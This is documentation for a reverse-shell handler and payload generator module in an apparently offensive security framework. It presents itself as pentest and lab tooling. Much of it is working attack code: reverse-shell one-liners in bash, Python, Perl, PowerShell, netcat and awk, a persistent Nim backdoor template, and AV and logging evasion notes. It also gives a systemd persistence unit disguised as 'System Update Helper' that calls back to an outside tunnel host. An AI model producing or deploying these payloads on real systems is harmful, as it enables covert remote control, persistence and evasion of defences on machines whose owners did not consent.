- ▸ Your LHOST IP (run
ip aorhostname -I) - ▸ A port to listen on (4444 is conventional)
- ▸ Network access between attacker and target
- ▸ Target must be authorized for testing
VANTA (revshell) ❯ set mode serve VANTA (revshell) ❯ set ports 4444 VANTA (revshell) ❯ run target
- • Easy: serve (start listener)
- • Medium: generate (build payloads)
- • Advanced: nim_backdoor (compile binary)
Overview
What revshell does
revshell is VANTA's shared shell infrastructure — a multi-session reverse shell handler and payload generator ported from OnlyShell, extended with 30+ language one-liners and a Nim backdoor compiler. Every other VANTA module that needs a shell listener (android_pentest, wifi_monitor, adsec, websec, ctfpwn) imports revshell internally — it is the framework's callback engine.
Three operating modes: serve starts an interactive multi-session handler, generate prints ready-to-paste payload one-liners for any language or platform, and nim_backdoor compiles a standalone reverse-shell binary from a Nim source template.
Getting Started
Quick start
Start an interactive handler
vanta ❯ use revshell
VANTA (revshell) ❯ set mode serve
VANTA (revshell) ❯ set ports 4444
VANTA (revshell) ❯ run target
Generate all payloads for a host
VANTA (revshell) ❯ set mode generate
VANTA (revshell) ❯ set lhost 10.10.10.10
VANTA (revshell) ❯ set shell all
VANTA (revshell) ❯ run target
Generate a specific payload type
VANTA (revshell) ❯ set mode generate
VANTA (revshell) ❯ set lhost 10.10.10.10
VANTA (revshell) ❯ set lport 4444
VANTA (revshell) ❯ set shell python3
VANTA (revshell) ❯ run target
Compile a Nim binary backdoor
VANTA (revshell) ❯ set mode nim_backdoor
VANTA (revshell) ❯ set lhost 10.10.10.10
VANTA (revshell) ❯ set lport 4444
VANTA (revshell) ❯ set target_os linux
VANTA (revshell) ❯ run target
CLI shortcut — skip VANTA shell, start on port 4444 immediately
python3 tools/network/revshell/revshell.py 4444
Reference
Modes
Set via set mode <name>.
shell to a specific type (e.g. python3) or all to get every supported payload. Set lhost and lport to embed your listener address.nim compiler installed. Set target_os to linux, windows, or macos. Output binary at ~/.vanta/revshell/<stem>.Interactive
Handler TUI commands
Once serve is running and a session connects, the handler drops into an interactive TUI prompt. The following commands are available:
| Command | Description |
|---|---|
sessions |
List all active sessions with their ID, remote IP, and time connected. |
interact <id> |
Attach to a session and enter its interactive shell. Commands you type are sent directly to the remote shell. Press Ctrl+C or type bg to detach. |
bg |
Background the current active session and return to the handler prompt. The session remains live and can be re-attached with interact <id>. |
exec-all <cmd> |
Broadcast a command to all active sessions simultaneously. Output from each session is printed inline with the session ID as prefix. |
kill <id> |
Terminate and remove the specified session. Sends a close signal to the remote end. The session slot is freed immediately. |
Reference
Payload types
Pass any of these to set shell <type>, or set shell all to generate every one for your LHOST/LPORT.
Payload notes
| Payload | Target OS | Notes |
|---|---|---|
bash_tcp | Linux/macOS | Most reliable on Linux. Requires /bin/bash (not sh). Fast one-liner. |
bash_mkfifo | Linux/macOS | Named pipe — more portable than /dev/tcp. Works on restricted shells. |
python3 | Any | Works wherever Python 3 is installed. Gives a PTY if pty module is available. |
powershell | Windows | Plaintext. May be caught by basic AV. Use powershell_b64 or _iex for evasion. |
powershell_b64 | Windows | Base64-encoded command — bypasses basic command logging and simple signature AV. |
powershell_iex | Windows | Downloads and executes from a URL (Invoke-Expression). Fully fileless. |
socat_pty | Linux/macOS | Full PTY — arrow keys, tab completion, Ctrl+C work correctly. Best interactive experience. |
msf_elf | Linux | Meterpreter payload ELF via msfvenom. Full Metasploit session (file ops, pivot, etc.). |
msf_apk | Android | Meterpreter APK. Use android_pentest module for the full delivery pipeline. |
Reference
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
mode |
string | serve | Operating mode: serve (handler), generate (payload generator), nim_backdoor (compile binary). |
ports |
string | 4444 | Comma-separated list of listener ports for serve mode, e.g. 4444,4445,9001. One thread per port. |
lhost |
string | auto | Attacker IP embedded into generated payloads. Auto-detected via routing table if not set. |
lport |
integer | 4444 | Listener port embedded into generated payloads. |
shell |
string | all | Payload type for generate mode. Set to a specific type name or all for every payload. |
target_os |
string | linux | Target OS for nim_backdoor compilation: linux, windows, or macos. |
Usage
Examples
Multi-port handler — catch shells on multiple ports
vanta ❯ use revshell
VANTA (revshell) ❯ set mode serve
VANTA (revshell) ❯ set ports 4444,9001,4445
VANTA (revshell) ❯ run target
# Once a session connects:
[revshell] session 1 connected from 10.10.10.50:52341
❯ sessions
[1] 10.10.10.50 connected 00:02:14
❯ interact 1
$ whoami
www-data
$ bg
❯ exec-all id
[1] uid=33(www-data) gid=33(www-data) groups=33(www-data)
Generate a Python3 one-liner for a TryHackMe box
VANTA (revshell) ❯ set mode generate
VANTA (revshell) ❯ set lhost 10.10.14.5
VANTA (revshell) ❯ set lport 4444
VANTA (revshell) ❯ set shell python3
VANTA (revshell) ❯ run target
# Output (paste on the target):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
PowerShell evasion for a Windows box
VANTA (revshell) ❯ set shell powershell_b64
VANTA (revshell) ❯ set lhost 10.10.14.5
VANTA (revshell) ❯ run target
# Paste the powershell -EncodedCommand ... output on the Windows target
Nim binary for a Linux target (no Python needed on target)
VANTA (revshell) ❯ set mode nim_backdoor
VANTA (revshell) ❯ set lhost 10.10.14.5
VANTA (revshell) ❯ set lport 4444
VANTA (revshell) ❯ set target_os linux
VANTA (revshell) ❯ run target
# Then start a listener and deliver the binary to the target:
VANTA (revshell) ❯ set mode serve
VANTA (revshell) ❯ run target
Use from another module — android_pentest shell operation
vanta ❯ use android_pentest
VANTA (android_pentest) ❯ set operation shell
VANTA (android_pentest) ❯ set lhost 10.10.14.5
VANTA (android_pentest) ❯ set lport 4444
VANTA (android_pentest) ❯ run device
# android_pentest calls revshell internally; handler starts automatically
Internals
Architecture Deep Dive
This section explains exactly what happens at the byte level when a reverse shell connects, how the Nim backdoor is compiled, and why the multi-handler approach is superior to single connection listeners.
Internals
TCP Reverse Shell — Wire Protocol
A raw TCP reverse shell is the simplest payload type: the victim opens a TCP socket to the attacker and connects stdin/stdout/stderr to it. Let's trace every byte.
## What happens when a bash reverse shell payload runs
## Payload (injected on victim): bash -i >& /dev/tcp/attacker-ip/4444 0>&1
# 1. Victim OS calls: socket(AF_INET, SOCK_STREAM, 0)
# 2. Victim calls: connect(sock, {attacker_ip, 4444})
## TCP 3-way handshake (bytes on the wire):
Victim → Attacker: [SYN] seq=0x4a3f2b1c
Attacker → Victim: [SYN-ACK] seq=0x11223344, ack=0x4a3f2b1d
Victim → Attacker: [ACK] ack=0x11223345
# 3. Victim calls: dup2(sock, 0) dup2(sock, 1) dup2(sock, 2)
# → stdin(0), stdout(1), stderr(2) all point to the TCP socket
# 4. Victim calls: execve("/bin/bash", ["-i"], env)
## Now the TCP session IS the bash session:
Attacker → Victim: "id\n" # attacker types command
Victim → Attacker: "uid=1000(user) ...\n" # bash executes, output travels back
## No encryption, no framing — raw bytes both ways
## This is why raw TCP shells are caught by IDS: plain-text commands visible
One-Line Payload Variants by Language
## bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
## Python 3
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"
## Perl
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
## PowerShell (Windows)
$c=New-Object Net.Sockets.TCPClient("LHOST",LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
## nc with -e (GNU netcat)
nc LHOST LPORT -e /bin/bash
## nc without -e (OpenBSD netcat — most common)
mkfifo /tmp/f; nc LHOST LPORT < /tmp/f | /bin/bash > /tmp/f 2>&1; rm /tmp/f
# mkfifo creates a FIFO pipe; nc reads from it while bash writes to it — bidirectional
Why mkfifo Works
## mkfifo pipe trick — explained
mkfifo /tmp/f
# /tmp/f (FIFO pipe in filesystem)
# ↑ ↓
nc LHOST LPORT < /tmp/f | /bin/bash > /tmp/f 2>&1
# ↑ ↑
# nc reads from FIFO bash writes output to FIFO
# (attacker's keystrokes (bash results go into the FIFO)
# flow: nc stdout → pipe → bash stdin)
#
# The pipe | connects nc's output (what attacker types) to bash's stdin
# bash's stdout/stderr go to /tmp/f, which nc reads and sends to attacker
# Result: bidirectional shell over one nc connection
Internals
Meterpreter Staging — How it Works
The msf_* payload types in revshell generate staged payloads.
Staging is a two-step delivery system that keeps the initial payload small.
## Staged payload delivery timeline
T=0: VANTA generates stager via msfvenom
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x LPORT=y -f elf -o shell
# Output is ~250 bytes of x64 shellcode wrapped in an ELF
T=1: Victim executes the stager ELF
stager calls: socket() → connect(LHOST:LPORT) → recv(4096)
T=2: MSF handler sends Stage 1 — the Meterpreter core
# ~300KB of compiled C (meterpreter.lso / metsrv.x64.dll on Windows)
# Linux: metsrv.so — a shared library loaded by the stager via mmap
T=3: Stager maps Stage 1 into memory:
mmap(NULL, stage_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0)
memcpy(addr, stage1_bytes, stage_size)
call addr # jump into Stage 1
# No file is written to disk — pure in-memory execution
T=4: Meterpreter core establishes TLV command channel
# All future commands (sysinfo, upload, shell, etc.) go via TLV over the same TCP
T=5: Extensions loaded on demand:
# "load stdapi" → MSF sends stdapi.so over TLV → mmap + dlopen
# Each capability is a loadable .so — only downloaded when needed
mmap + execute — Why it Bypasses AV
Traditional antivirus scans files on disk. Meterpreter's stager never writes Stage 1 to disk:
it maps anonymous memory (MAP_ANON), copies the bytes in, and jumps to the entry
point. Modern EDR tools that monitor mmap(PROT_EXEC) syscalls can detect this,
which is why Meterpreter also supports HTTP/HTTPS transport — the stage bytes look like a normal
web download until they're executed in memory.
Internals
Nim Backdoor — Compilation Pipeline
The nim_backdoor mode compiles a custom reverse shell binary from Nim source code.
Nim is chosen for three reasons: (1) its compiler generates native C code which is then compiled
by gcc/clang — the final binary has no Nim runtime signature; (2) Nim's FFI lets you call raw
POSIX/WinAPI functions directly; (3) AV tools have almost no signatures for Nim-compiled binaries.
## Nim → C → Binary compilation pipeline
Input: nim source (revshell.nim)
↓
Step 1: nim c --cc:gcc --opt:speed -d:release revshell.nim
→ Nim compiler outputs C source to ~/.cache/nim/revshell_d/
→ C code is standard POSIX/WinAPI calls — no Nim stdlib visible
Step 2: gcc compiles the C output:
gcc -O2 -o revshell ~/.cache/nim/revshell_d/*.c
→ strips debug symbols
→ links only libc (no unusual shared libs)
Step 3: VANTA strips the binary:
strip revshell
→ removes symbol table (function names invisible to AV heuristics)
Output: ~150KB statically compiled ELF (Linux) or PE (Windows with MinGW cross-compile)
The Nim Source VANTA Generates
## Template expanded by VANTA with LHOST/LPORT substituted
import net, osproc, os, posix
proc reverseShell(host: string, port: int) =
# Connect back to attacker
let sock = newSocket()
sock.connect(host, Port(port))
# Fork a shell and connect it to the socket
let (rfd, wfd) = (sock.getFd(), sock.getFd())
discard dup2(rfd, 0) # stdin ← socket
discard dup2(wfd, 1) # stdout → socket
discard dup2(wfd, 2) # stderr → socket
discard execv("/bin/sh", ["/bin/sh", "-i"])
while true:
try:
reverseShell("LHOST", LPORT)
except:
sleep(5000) # retry on disconnect — persistent
Cross-Compilation for Windows Targets
## Compile Nim reverse shell targeting Windows from Linux
nim c \
--cpu:amd64 \
--os:windows \
--cc:gcc \
--gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
-d:release \
--opt:speed \
--out:shell.exe \
revshell.nim
# Requires: sudo apt install gcc-mingw-w64-x86-64
# Output: shell.exe — native Windows PE, ~200KB, no Nim DLL dependency
# VANTA automatically detects --target windows and uses this cross-compile path
Internals
Multi-Session Handler — How the Listener Works
The revshell serve mode starts a TCP listener that handles multiple simultaneous
connections. Each connection is an independent session managed in a separate thread.
## revshell listener internals (simplified Python)
import socket, threading, select
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# SO_REUSEADDR: allows re-binding the port immediately after restart
# without waiting for TIME_WAIT state (2× MSL ≈ 2 minutes on Linux)
server.bind(("0.0.0.0", LPORT))
server.listen(50) # backlog: 50 pending connections
sessions = {} # {session_id: socket}
def handle_session(sid, sock):
sessions[sid] = sock
while True:
ready, _, _ = select.select([sock], [], [], 1.0)
if ready:
data = sock.recv(4096)
if not data: break # connection closed
# store data, stream to GUI via SSE
while True:
conn, addr = server.accept()
sid = f"sess_{len(sessions)+1}"
t = threading.Thread(target=handle_session, args=(sid, conn))
t.daemon = True
t.start()
# This is why ExitOnSession false matters: single accept() loop keeps running
Session Upgrade: Raw Shell → Meterpreter
A raw TCP shell (bash) has no file transfer, no port forwarding, no screenshot capability. Upgrading it to Meterpreter adds all these without restarting:
## In revshell handler TUI: select a raw bash session
sessions # list all sessions
interact 1 # enter session 1 (bash shell)
## Now in raw bash on victim. Upgrade:
background # background bash session
## In MSF (opened automatically by revshell if msf_handler operation used):
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST bore.pub
set LPORT 4445 # second bore tunnel for Meterpreter
run
## What happens:
# 1. MSF sends a stager script down the bash session (Python/Perl one-liner)
# 2. Script runs on victim: connects back on LPORT 4445
# 3. MSF sends Meterpreter Stage 1 (metsrv.so) over the new connection
# 4. metsrv.so maps itself into memory, establishes TLV channel
# 5. You now have a full Meterpreter session
sessions # shows new Meterpreter session alongside old bash session
Extend
Customization & Extension
Adding a New Payload Type
Each payload type in revshell is a function that returns a shell-executable string or a
binary file path. Adding a new type requires one dict entry in PAYLOAD_GENERATORS
and optionally a compilation function:
# In revshell.py — PAYLOAD_GENERATORS dict
PAYLOAD_GENERATORS = {
"bash": lambda lh, lp: f"bash -i >& /dev/tcp/{lh}/{lp} 0>&1",
"python3": lambda lh, lp: f"python3 -c \"import socket...\"",
# ── Add your type: ──
"awk": lambda lh, lp: (
f"awk 'BEGIN {{s=\"/inet/tcp/0/{lh}/{lp}\"; "
f"while(42) {{do{{printf \"> \" |& s; s |& getline c; "
f"while ((c |& getline) > 0) print $0 |& s; close(c)}} while(c != \"exit\")}}}'"
),
}
# awk reverse shell works on any system with gawk (GNU awk)
# /inet/tcp/ is a gawk extension for TCP sockets
Writing a Custom Handler Hook
revshell fires hooks on session events. You can attach custom logic to these:
# on_session_open: fires when a new connection is accepted
def my_on_open(session_id: str, peer_addr: str, sock):
print(f"[+] Session {session_id} opened from {peer_addr}")
# Auto-run recon commands on new sessions:
sock.send(b"id; uname -a; whoami\n")
# Register the hook in revshell.py:
HOOKS = {
"on_session_open": my_on_open,
"on_session_close": lambda sid, peer: print(f"[-] Session {sid} closed"),
"on_command": lambda sid, cmd: print(f"[>] {sid}: {cmd}"),
"on_output": lambda sid, data: None, # output handler
}
# Hooks run in the session's thread — keep them fast
# For slow operations (logging to DB, sending alerts), use threading.Thread
Persistent Reconnect Agent (Drop-and-forget)
For long-term access on a compromised Linux machine, this systemd unit file makes your reverse shell reconnect automatically after reboot or disconnect:
## /etc/systemd/system/vanta-agent.service
[Unit]
Description=System Update Helper
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/bore.pub/38521 0>&1; sleep 30; done'
Restart=always
RestartSec=10
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
## Install:
systemctl daemon-reload
systemctl enable vanta-agent
systemctl start vanta-agent
## The service will restart within 30 seconds of any disconnect
## Description says "System Update Helper" to blend in with system services
Study
Learning Path & Resources
Build your knowledge of shells, networking, and post-exploitation from the ground up.
Step 1: Understand the Basics — Networks and Processes
| Resource | Type | Why |
|---|---|---|
| Computer Networking: A Top-Down Approach (Kurose & Ross) | Book | Understand TCP/IP at a fundamental level. Chapters 1-3 cover everything behind reverse shells — sockets, TCP, ports. |
| Linux Command Line (No Starch, free PDF) | Free | Bash, file descriptors (stdin/stdout/stderr), pipes, processes — the building blocks of shell payloads. |
| TCP/IP Illustrated (Stevens) | Book | The definitive TCP reference. Explains exactly what happens when a socket connects — essential for understanding why shells work. |
Step 2: Shell Practice Labs
| Platform | Cost | Focus |
|---|---|---|
| TryHackMe — "What the Shell?" room | Free | Hands-on room specifically about reverse and bind shells. Covers every one-liner in this doc. Start here. |
| HackTheBox Starting Point machines | Free | Each machine requires a shell. Walk-throughs show the full process: scan → exploit → shell → escalate. |
| Metasploitable 2/3 (VM) | Free | Intentionally vulnerable Linux VM. Get a shell via vsftpd exploit, then practice upgrading to Meterpreter. |
| VulnHub (vulnhub.com) | Free | Download vulnerable VMs. Filter by beginner/intermediate. Perfect for practising the full shell chain locally. |
Step 3: Essential References
| Resource | Use For |
|---|---|
| GTFOBins (gtfobins.github.io) | Every Unix binary that can spawn a shell, read files, or escalate privileges. Essential reference when you have limited access. |
| PayloadsAllTheThings — Reverse Shell Cheat Sheet | All one-liner reverse shells by language. Reference when the standard bash shell doesn't work. |
| Metasploit Unleashed (offensive-security.com/metasploit-unleashed) | Free course on Metasploit. Covers msfvenom, handlers, sessions, post-exploitation — directly relevant to revshell's msf_* modes. |
| Nim language tour (nim-lang.org/docs/tut1.html) | Learn Nim syntax to write custom backdoor payloads using revshell's nim_backdoor mode. |
Step 4: Deep Books
| Book | Level | Best For |
|---|---|---|
| Penetration Testing (Georgia Weidman, No Starch) | Beginner-Intermediate | Full penetration testing methodology using Metasploit. Covers shell acquisition, privilege escalation, pivoting. |
| The Hacker Playbook 3 (Peter Kim) | Intermediate | Red team techniques including C2 frameworks, shell evasion, lateral movement with shells. |
| Black Hat Python (Seitz & Arnold) | Intermediate | Build your own network tools and shells in Python. Write custom handlers beyond what revshell provides. |
Practice Path
## Progression: from your first shell to advanced C2
Week 1: Your First Shell
Setup: Kali VM + Metasploitable 2 VM (lab-setup.html)
Run: nmap on Metasploitable — find vsftpd 2.3.4
Use: revshell serve mode to catch the shell
Goal: get uid=0(root) on Metasploitable
Week 2: Shell Upgrade Chain
Start with a raw netcat shell on any machine
Practice: python3 pty upgrade → rlwrap → stty rows/cols
Then: upgrade to Meterpreter via MSF shell_to_meterpreter
Goal: full interactive Meterpreter from a raw nc shell
Week 3: Evasion Basics
Compile: nim_backdoor for Linux
Test: does AV flag it? (upload to virustotal — educational only)
Modify: change function names, add junk code, recompile
Goal: understand what makes binaries detectable
Week 4: C2 Architecture
Run: revshell in serve mode with multiple sessions
Practice: background sessions, exec-all, session management
Then: set up a bore tunnel and practice WAN delivery
Setup
Dependencies
| Tool | Required | Purpose | Install |
|---|---|---|---|
python3 |
Required | Module runtime | Pre-installed on most distros |
nim |
Optional | nim_backdoor compilation |
sudo pacman -S nim / sudo apt install nim |
msfvenom |
Optional | MSF payload types (msf_elf, msf_exe, msf_apk) | Included with Metasploit — sudo apt install metasploit-framework |
nc / ncat |
Optional | Netcat payload generation | sudo apt install netcat-openbsd ncat |
serve and generate modes have no external dependencies beyond Python 3. Nim and Metasploit are only needed for the respective optional payload types.